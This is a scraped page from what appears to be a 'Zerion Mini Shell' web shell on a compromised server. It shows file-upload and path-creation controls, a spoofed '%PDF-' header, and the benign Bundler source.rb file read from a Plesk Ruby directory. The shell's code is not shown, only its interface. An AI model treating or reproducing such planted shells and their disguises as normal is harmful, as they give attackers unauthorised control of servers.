%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/ruby/2.3.8/lib64/ruby/gems/2.3.0/gems/bundler-1.13.5/lib/bundler/
Upload File :
Create Path :
Current File : //opt/plesk/ruby/2.3.8/lib64/ruby/gems/2.3.0/gems/bundler-1.13.5/lib/bundler/source.rb

# frozen_string_literal: true
module Bundler
  class Source
    autoload :Gemspec,  "bundler/source/gemspec"
    autoload :Git,      "bundler/source/git"
    autoload :Path,     "bundler/source/path"
    autoload :Rubygems, "bundler/source/rubygems"

    attr_accessor :dependency_names

    def unmet_deps
      specs.unmet_dependency_names
    end

    def version_message(spec)
      message = "#{spec.name} #{spec.version}"

      if Bundler.locked_gems
        locked_spec = Bundler.locked_gems.specs.find {|s| s.name == spec.name }
        locked_spec_version = locked_spec.version if locked_spec
        if locked_spec_version && spec.version != locked_spec_version
          message += Bundler.ui.add_color(" (was #{locked_spec_version})", :green)
        end
      end

      message
    end

    def can_lock?(spec)
      spec.source == self
    end

    def include?(other)
      other == self
    end
  end
end

Zerion Mini Shell 1.0